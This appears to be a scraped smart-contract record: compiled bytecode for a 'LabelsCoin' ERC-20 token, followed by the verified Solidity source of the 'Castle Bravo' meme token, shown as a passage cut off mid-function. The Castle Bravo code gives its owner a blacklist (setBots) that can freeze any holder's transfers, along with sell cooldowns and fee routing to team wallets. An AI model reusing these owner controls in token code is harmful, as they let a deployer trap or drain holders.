0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd146102375780632ff2e9dc146102bc578063313ce567146102e757806342966c68146103185780634cd412d514610345578063661884631461037457806370a08231146103d957806379cc679014610430578063818305931461047d5780638da5cb5b146104d457806395d89b411461052b578063a9059cbb146105bb578063d56de6ed14610620578063d73dd6231461064b578063dd62ed3e146106b0578063f2fde38b14610727578063fc53f9581461076a575b600080fd5b34801561012357600080fd5b5061012c610795565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107ce565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216108c0565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ca565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610aa9565b6040518082815260200191505060405180910390f35b3480156102f357600080fd5b506102fc610aba565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032457600080fd5b5061034360048036038101908080359060200190929190505050610abf565b005b34801561035157600080fd5b5061035a610acc565b604051808215151515815260200191505060405180910390f35b34801561038057600080fd5b506103bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610adf565b604051808215151515815260200191505060405180910390f35b3480156103e557600080fd5b5061041a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d71565b6040518082815260200191505060405180910390f35b34801561043c57600080fd5b5061047b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dba565b005b34801561048957600080fd5b50610492610ff1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104e057600080fd5b506104e9611017565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053757600080fd5b5061054061103c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610580578082015181840152602081019050610565565b50505050905090810190601f1680156105ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105c757600080fd5b50610606600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611075565b604051808215151515815260200191505060405180910390f35b34801561062c57600080fd5b506106356111d4565b6040518082815260200191505060405180910390f35b34801561065757600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111da565b604051808215151515815260200191505060405180910390f35b3480156106bc57600080fd5b50610711600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d6565b6040518082815260200191505060405180910390f35b34801561073357600080fd5b50610768600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145d565b005b34801561077657600080fd5b5061077f611553565b6040518082815260200191505060405180910390f35b6040805190810160405280600a81526020017f4c6162656c73436f696e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60008083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610973576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616e6e6f742073656e6420746f20302061646472657373000000000000000081525060200191505060405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f43616e6e6f742073656e6420746f20636f6e747261637420616464726573730081525060200191505060405180910390fd5b610a22868686611564565b91508115610a9d57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610a9c57610a9584600454611aab90919063ffffffff16565b6004819055505b5b81925050509392505050565b601260ff16600a0a6301c9c3800281565b601281565b610ac93382611ac4565b50565b600560149054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610bf1576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c85565b610c048382611aab90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610ed4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f496e73756666696369656e7420616c6c6f77616e636520746f206275726e207481526020017f6f6b656e732e000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b610f6381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aab90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fed8282611ac4565b5050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4c4253430000000000000000000000000000000000000000000000000000000081525081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561111d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616e6e6f742073656e6420746f20302061646472657373000000000000000081525060200191505060405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f43616e6e6f742073656e6420746f20636f6e747261637420616464726573730081525060200191505060405180910390fd5b6111cb8484611ce3565b91505092915050565b60045481565b600061126b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f4f6e6c7920746865206f776e657220697320616c6c6f77656420746f2063616c81526020017f6c20746869732e0000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b61155081612042565b50565b601260ff16600a0a6301c9c3800281565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611643576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f596f7520646f206e6f7420686176652073756666696369656e742062616c616e81526020017f63652e000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611737576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f596f7520646f206e6f74206861766520616c6c6f77616e63652e00000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f596f752063616e6e6f742073656e6420746f6b656e7320746f2030206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b61185482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aab90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119bb82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aab90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611ab957fe5b818303905092915050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611b7b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f496e73756666696369656e742062616c616e6365206f6620746f6b656e73000081525060200191505060405180910390fd5b611bcd81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aab90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2581600354611aab90919063ffffffff16565b6003819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611dc2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f596f7520646f206e6f7420686176652073756666696369656e742062616c616e81526020017f63652e000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f596f752063616e6e6f742073656e6420746f6b656e7320746f2030206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611edf82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aab90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f7482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000818301905082811015151561203957fe5b80905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156120e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4f776e65722063616e6e6f74206265203020616464726573732e00000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820eec269d245c7a5ac6c878062d6759cb03fc3c9d25f428256c4c0e72c5a86df2c0029
|
{"success": true, "error": null, "results": {}}
| 9,112 |
0x3f9106aeb4414b11327b8dbccd4e073e90a36175
|
/**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
/*
Castle Bravo token
Telegram: https://t.me/castlebravoerc
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CastleBravo is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1954000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Castle Bravo";
string private constant _symbol = 'BRAVO️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (360 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
